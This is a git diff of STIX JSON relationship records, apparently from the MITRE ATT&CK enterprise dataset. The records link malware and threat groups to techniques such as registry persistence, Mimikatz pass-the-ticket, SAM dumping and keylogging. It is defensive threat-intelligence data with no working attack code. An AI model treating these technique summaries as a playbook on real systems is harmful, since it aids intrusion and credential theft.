+++ b/enterprise-attack/relationship/relationship--828afc32-9874-40aa-b752-315c7623ffee.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c2bee5b7-689f-4994-866e-2640ded1c0a5",
+    "id": "bundle--9035e5a5-9758-43ff-a10e-b50359adad31",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--828afc32-9874-40aa-b752-315c7623ffee",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Kasidet creates a Registry Run key to establish persistence. ",
             "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
diff --git a/enterprise-attack/relationship/relationship--82b679af-7408-4f41-8fc0-5b0cf5993726.json b/enterprise-attack/relationship/relationship--82b679af-7408-4f41-8fc0-5b0cf5993726.json
index bccdc3a548..2612e2c684 100644
--- a/enterprise-attack/relationship/relationship--82b679af-7408-4f41-8fc0-5b0cf5993726.json
+++ b/enterprise-attack/relationship/relationship--82b679af-7408-4f41-8fc0-5b0cf5993726.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0228f079-cb72-4ad6-993a-84a0651dc0dc",
+    "id": "bundle--653fde43-d438-4e99-994e-d31913d403b9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--82b679af-7408-4f41-8fc0-5b0cf5993726",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.074Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Suckfly used legitimate account credentials that they dumped to navigate the internal victim network as though they were the legitimate account owner.",
             "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d",
diff --git a/enterprise-attack/relationship/relationship--8336111f-565e-4294-8b18-182c26da2421.json b/enterprise-attack/relationship/relationship--8336111f-565e-4294-8b18-182c26da2421.json
new file mode 100644
index 0000000000..e463f119f6
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--8336111f-565e-4294-8b18-182c26da2421.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--ec8d6ba2-21c3-4035-a6ef-4c0a6a16d97d",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--8336111f-565e-4294-8b18-182c26da2421",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "enumerates the current network connections similar to <code> net use </code> .",
+            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
+            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--837af41c-0553-4d1d-a38e-e43e2aad5c35.json b/enterprise-attack/relationship/relationship--837af41c-0553-4d1d-a38e-e43e2aad5c35.json
index dd7a46c94f..10e6a38892 100644
--- a/enterprise-attack/relationship/relationship--837af41c-0553-4d1d-a38e-e43e2aad5c35.json
+++ b/enterprise-attack/relationship/relationship--837af41c-0553-4d1d-a38e-e43e2aad5c35.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d48dd116-24e0-4372-b9a2-778c7767be8d",
+    "id": "bundle--53454314-6a79-46fa-9007-d776e284f7b3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--837af41c-0553-4d1d-a38e-e43e2aad5c35",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke uses a module to execute Mimikatz with PowerShell to perform Pass the Ticket.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
diff --git a/enterprise-attack/relationship/relationship--838b4a52-1360-4ca7-ab25-1b549508e687.json b/enterprise-attack/relationship/relationship--838b4a52-1360-4ca7-ab25-1b549508e687.json
index 04fe2543c7..3e193ac0c9 100644
--- a/enterprise-attack/relationship/relationship--838b4a52-1360-4ca7-ab25-1b549508e687.json
+++ b/enterprise-attack/relationship/relationship--838b4a52-1360-4ca7-ab25-1b549508e687.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7b3df1a3-ea83-4e3d-a1ea-4f2ff87f6b73",
+    "id": "bundle--13265da9-3387-4df8-8e72-c403c1380174",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--838b4a52-1360-4ca7-ab25-1b549508e687",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "An older version of CHOPSTICK has a module that monitors all mounted volumes for files with the extensions .doc, .docx, .pgp, .gpg, .m2f, or .m2o.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
diff --git a/enterprise-attack/relationship/relationship--83ad6071-8874-49c9-98cd-0d493a8eeb07.json b/enterprise-attack/relationship/relationship--83ad6071-8874-49c9-98cd-0d493a8eeb07.json
index 148003b923..689ba75b7c 100644
--- a/enterprise-attack/relationship/relationship--83ad6071-8874-49c9-98cd-0d493a8eeb07.json
+++ b/enterprise-attack/relationship/relationship--83ad6071-8874-49c9-98cd-0d493a8eeb07.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8bd8b47a-20f8-481e-977b-22e4453dc1ca",
+    "id": "bundle--c6a3d98e-43ae-4010-8405-e160f9e7443d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--83ad6071-8874-49c9-98cd-0d493a8eeb07",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sykipot may use <code>netstat -ano</code> to display active network connections.",
             "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
diff --git a/enterprise-attack/relationship/relationship--83ba5b2c-b3fd-4558-a3f8-cef4c31e02bd.json b/enterprise-attack/relationship/relationship--83ba5b2c-b3fd-4558-a3f8-cef4c31e02bd.json
index 9dc6e7ca7a..d186200b6a 100644
--- a/enterprise-attack/relationship/relationship--83ba5b2c-b3fd-4558-a3f8-cef4c31e02bd.json
+++ b/enterprise-attack/relationship/relationship--83ba5b2c-b3fd-4558-a3f8-cef4c31e02bd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--18f065e0-a560-4042-8ad6-dc405302fe4f",
+    "id": "bundle--b1a95d81-63d0-4d65-af69-fbad11c0ec7c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--83ba5b2c-b3fd-4558-a3f8-cef4c31e02bd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.069Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware attempts to connect to Windows shares for lateral movement by using a generated list of usernames, which center around permutations of the username Administrator, and weak passwords.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--83cfa11e-f221-4dc4-b184-943c2c7f4562.json b/enterprise-attack/relationship/relationship--83cfa11e-f221-4dc4-b184-943c2c7f4562.json
index 6bfbe53b68..752355e49f 100644
--- a/enterprise-attack/relationship/relationship--83cfa11e-f221-4dc4-b184-943c2c7f4562.json
+++ b/enterprise-attack/relationship/relationship--83cfa11e-f221-4dc4-b184-943c2c7f4562.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9da54ba5-9267-4e64-a8e1-ef46c1517169",
+    "id": "bundle--0b328480-864d-4b16-9a32-ca56b917a6ea",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--83cfa11e-f221-4dc4-b184-943c2c7f4562",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.032Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Moafee has been known to employ binary padding.",
             "source_ref": "intrusion-set--2e5d3a83-fe00-41a5-9b60-237efc84832f",
diff --git a/enterprise-attack/relationship/relationship--842f8f4b-9d90-4533-850f-777f33ef8257.json b/enterprise-attack/relationship/relationship--842f8f4b-9d90-4533-850f-777f33ef8257.json
index d4c1cf7209..dd0c948d4f 100644
--- a/enterprise-attack/relationship/relationship--842f8f4b-9d90-4533-850f-777f33ef8257.json
+++ b/enterprise-attack/relationship/relationship--842f8f4b-9d90-4533-850f-777f33ef8257.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6d20fba5-3f5b-4d7e-b7f0-47656f34aca7",
+    "id": "bundle--819fb464-18f1-445c-af89-8ee5f44e6998",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--842f8f4b-9d90-4533-850f-777f33ef8257",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "T9000 uses the Skype API to record audio and video calls. It writes encrypted data to <code>%APPDATA%\\Intel\\Skype</code>.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
diff --git a/enterprise-attack/relationship/relationship--8447c89e-a743-430e-8ef5-41abfcde1a01.json b/enterprise-attack/relationship/relationship--8447c89e-a743-430e-8ef5-41abfcde1a01.json
index 7c0ddf135a..5a178af27d 100644
--- a/enterprise-attack/relationship/relationship--8447c89e-a743-430e-8ef5-41abfcde1a01.json
+++ b/enterprise-attack/relationship/relationship--8447c89e-a743-430e-8ef5-41abfcde1a01.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f5730e87-1194-4e29-be1b-de0d167d3184",
+    "id": "bundle--e14abbb4-8149-412a-900a-e979c4d4bb3c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8447c89e-a743-430e-8ef5-41abfcde1a01",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.078Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Malware used by Group5 is capable of capturing keystrokes.",
             "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40",
diff --git a/enterprise-attack/relationship/relationship--845482a1-a062-407d-a83e-90d883d1d91b.json b/enterprise-attack/relationship/relationship--845482a1-a062-407d-a83e-90d883d1d91b.json
index 9560480dba..47a0c0868e 100644
--- a/enterprise-attack/relationship/relationship--845482a1-a062-407d-a83e-90d883d1d91b.json
+++ b/enterprise-attack/relationship/relationship--845482a1-a062-407d-a83e-90d883d1d91b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--94a93e9e-9e3f-41fe-8a56-ccad167f3ce2",
+    "id": "bundle--72731f1a-214b-4e77-8b0e-5d3d0a2c91a1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--845482a1-a062-407d-a83e-90d883d1d91b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.079Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "target_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
diff --git a/enterprise-attack/relationship/relationship--8467ea5f-cb0d-4eb6-b524-8bfd01e58721.json b/enterprise-attack/relationship/relationship--8467ea5f-cb0d-4eb6-b524-8bfd01e58721.json
new file mode 100644
index 0000000000..3405fc70fd
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--8467ea5f-cb0d-4eb6-b524-8bfd01e58721.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--b35fca80-2698-4337-bfb2-96a3770da289",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--8467ea5f-cb0d-4eb6-b524-8bfd01e58721",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "mitigates",
+            "source_ref": "course-of-action--80c91478-ac87-434f-bee7-11f37aec4d74",
+            "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--847752f4-59a2-46e9-ae28-befe0142b223.json b/enterprise-attack/relationship/relationship--847752f4-59a2-46e9-ae28-befe0142b223.json
index 177f730ada..51236f1a53 100644
--- a/enterprise-attack/relationship/relationship--847752f4-59a2-46e9-ae28-befe0142b223.json
+++ b/enterprise-attack/relationship/relationship--847752f4-59a2-46e9-ae28-befe0142b223.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4afc623c-a5c4-43d3-8815-2492bb79a2bb",
+    "id": "bundle--f17eb744-2f48-4158-bcd5-7a639c913735",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--847752f4-59a2-46e9-ae28-befe0142b223",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "GeminiDuke collects information on network settings and Internet proxy settings from the victim.",
             "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6",
diff --git a/enterprise-attack/relationship/relationship--84bc4ba8-ab0e-4c60-92ed-26496a831611.json b/enterprise-attack/relationship/relationship--84bc4ba8-ab0e-4c60-92ed-26496a831611.json
new file mode 100644
index 0000000000..c2f6191855
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--84bc4ba8-ab0e-4c60-92ed-26496a831611.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--1f537ee0-893a-473d-9dc8-11ebbde9bbe9",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--84bc4ba8-ab0e-4c60-92ed-26496a831611",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "To establish persistence,  adds a Registry Run key with a value \"TaskMgr\" in an attempt to masquerade as the legitimate Windows Task Manager.",
+            "source_ref": "malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad",
+            "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
+            "external_references": [
+                {
+                    "source_name": "Microsoft Win Defender Truvasys Sep 2017",
+                    "description": "Microsoft. (2017, September 15). Backdoor:Win32/Truvasys.A!dha. Retrieved November 30, 2017.",
+                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--84e0c62b-b1a6-4ecd-8607-f0b516cb48f6.json b/enterprise-attack/relationship/relationship--84e0c62b-b1a6-4ecd-8607-f0b516cb48f6.json
index 2dd97bea20..4a94fd2ca8 100644
--- a/enterprise-attack/relationship/relationship--84e0c62b-b1a6-4ecd-8607-f0b516cb48f6.json
+++ b/enterprise-attack/relationship/relationship--84e0c62b-b1a6-4ecd-8607-f0b516cb48f6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c7380cb6-259b-45e0-9374-7ff44adaa296",
+    "id": "bundle--58ab27dd-179f-40ac-a3f5-a179532d4729",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--84e0c62b-b1a6-4ecd-8607-f0b516cb48f6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM tries to add a scheduled task to establish persistence.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--84f40044-00a2-4015-be0d-1bb0107ef42b.json b/enterprise-attack/relationship/relationship--84f40044-00a2-4015-be0d-1bb0107ef42b.json
index fc7c04c5bf..add82c4e3f 100644
--- a/enterprise-attack/relationship/relationship--84f40044-00a2-4015-be0d-1bb0107ef42b.json
+++ b/enterprise-attack/relationship/relationship--84f40044-00a2-4015-be0d-1bb0107ef42b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--888c5c91-8f48-4ad9-82eb-b5c307f79276",
+    "id": "bundle--0c8a3d0d-e254-40ff-9cde-93a7193f5fc2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--84f40044-00a2-4015-be0d-1bb0107ef42b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Crimson contains a command to list processes.",
             "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
diff --git a/enterprise-attack/relationship/relationship--84fcda4b-e58e-4ecd-8366-77d464e043ee.json b/enterprise-attack/relationship/relationship--84fcda4b-e58e-4ecd-8366-77d464e043ee.json
index 01a1df9d61..943232631e 100644
--- a/enterprise-attack/relationship/relationship--84fcda4b-e58e-4ecd-8366-77d464e043ee.json
+++ b/enterprise-attack/relationship/relationship--84fcda4b-e58e-4ecd-8366-77d464e043ee.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--94093dbe-a37e-4a74-8cc7-2d8dc0812e64",
+    "id": "bundle--5942868d-2419-4a21-aba3-ce870f22419c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--84fcda4b-e58e-4ecd-8366-77d464e043ee",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "NETEAGLE allows adversaries to execute shell commands on the infected host.",
             "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
diff --git a/enterprise-attack/relationship/relationship--852009ed-1b50-4b08-9e77-53f0271d995c.json b/enterprise-attack/relationship/relationship--852009ed-1b50-4b08-9e77-53f0271d995c.json
index 298d471961..e783db84a0 100644
--- a/enterprise-attack/relationship/relationship--852009ed-1b50-4b08-9e77-53f0271d995c.json
+++ b/enterprise-attack/relationship/relationship--852009ed-1b50-4b08-9e77-53f0271d995c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--db4fc855-ee42-4e5f-9904-2082735e7af8",
+    "id": "bundle--43731cf1-3b75-4b3b-be66-fe5f421fbd4d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,17 +8,12 @@
             "id": "relationship--852009ed-1b50-4b08-9e77-53f0271d995c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "Remsec can dump the SAM database. It also can register itself as a Windows Local System Authority password filter on domain controllers, which allows it to harvest passwords when users change passwords.",
+            "description": "Remsec can dump the SAM database.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
             "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
             "external_references": [
-                {
-                    "source_name": "Kaspersky ProjectSauron Full Report",
-                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.",
-                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT%20research%20KL.pdf"
-                },
                 {
                     "source_name": "Kaspersky ProjectSauron Technical Analysis",
                     "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
diff --git a/enterprise-attack/relationship/relationship--854a3a7e-09a7-4523-ac7f-d625a0b50b6b.json b/enterprise-attack/relationship/relationship--854a3a7e-09a7-4523-ac7f-d625a0b50b6b.json
index cea1c31799..09c43c21c0 100644
--- a/enterprise-attack/relationship/relationship--854a3a7e-09a7-4523-ac7f-d625a0b50b6b.json
+++ b/enterprise-attack/relationship/relationship--854a3a7e-09a7-4523-ac7f-d625a0b50b6b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--05e952c0-0254-4ff0-b6c1-f031133a596b",
+    "id": "bundle--8aafee8b-4de6-44b5-a694-d3dcf9cd48d8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--854a3a7e-09a7-4523-ac7f-d625a0b50b6b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike's \"beacon\" payload is capable of capturing screen shots.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
diff --git a/enterprise-attack/relationship/relationship--85a92b0f-f8c3-41a9-a1b3-cfbf8b442b39.json b/enterprise-attack/relationship/relationship--85a92b0f-f8c3-41a9-a1b3-cfbf8b442b39.json
index 991806bd5c..b9a2d2387a 100644
--- a/enterprise-attack/relationship/relationship--85a92b0f-f8c3-41a9-a1b3-cfbf8b442b39.json
+++ b/enterprise-attack/relationship/relationship--85a92b0f-f8c3-41a9-a1b3-cfbf8b442b39.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4d489201-1d09-4779-b393-5d66804ac8d0",
+    "id": "bundle--be517aae-10bb-4c11-bb2a-58bbc58f033a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--85a92b0f-f8c3-41a9-a1b3-cfbf8b442b39",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A variant of ADVSTORESHELL encrypts some C2 with 3DES and RSA.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
diff --git a/enterprise-attack/relationship/relationship--85bddba6-3848-4d2d-a4fa-4c4b71274a02.json b/enterprise-attack/relationship/relationship--85bddba6-3848-4d2d-a4fa-4c4b71274a02.json
index 6c25799fa7..030205b6be 100644
--- a/enterprise-attack/relationship/relationship--85bddba6-3848-4d2d-a4fa-4c4b71274a02.json
+++ b/enterprise-attack/relationship/relationship--85bddba6-3848-4d2d-a4fa-4c4b71274a02.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--52453a2c-d513-4535-a23e-2281a305dd70",
+    "id": "bundle--9f658ee7-5a11-49c4-b2a7-207ca9975476",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--85bddba6-3848-4d2d-a4fa-4c4b71274a02",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.031Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--23061b40-a7b6-454f-8950-95d5ff80331c",
             "target_ref": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1",
diff --git a/enterprise-attack/relationship/relationship--85c95ce3-8685-4d2a-9d6f-7e4be4cd9623.json b/enterprise-attack/relationship/relationship--85c95ce3-8685-4d2a-9d6f-7e4be4cd9623.json
new file mode 100644
index 0000000000..f79ae4dc4a
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--85c95ce3-8685-4d2a-9d6f-7e4be4cd9623.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--45c9a633-cc87-4c32-9fcf-e946edc9f8d5",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--85c95ce3-8685-4d2a-9d6f-7e4be4cd9623",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer has commands to delete files and persistence mechanisms from the victim.",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                },
+                {
+                    "source_name": "Securelist WhiteBear Aug 2017",
+                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
+                    "url": "https://securelist.com/introducing-whitebear/81638/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--85ca1e00-24c4-403e-8aff-9890f91e9b78.json b/enterprise-attack/relationship/relationship--85ca1e00-24c4-403e-8aff-9890f91e9b78.json
index ff3e6e0257..bca580dfe9 100644
--- a/enterprise-attack/relationship/relationship--85ca1e00-24c4-403e-8aff-9890f91e9b78.json
+++ b/enterprise-attack/relationship/relationship--85ca1e00-24c4-403e-8aff-9890f91e9b78.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--742a5dd1-9041-4498-8452-46785873c842",
+    "id": "bundle--fdf1999b-5cac-4cc0-a758-b1ac0fe2f322",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--85ca1e00-24c4-403e-8aff-9890f91e9b78",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Emissary has the capability to download files from the C2 server.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
diff --git a/enterprise-attack/relationship/relationship--863c1d57-db93-49a9-a953-eb7c2d6b2e5b.json b/enterprise-attack/relationship/relationship--863c1d57-db93-49a9-a953-eb7c2d6b2e5b.json
new file mode 100644
index 0000000000..381493af3c
--- /dev/null
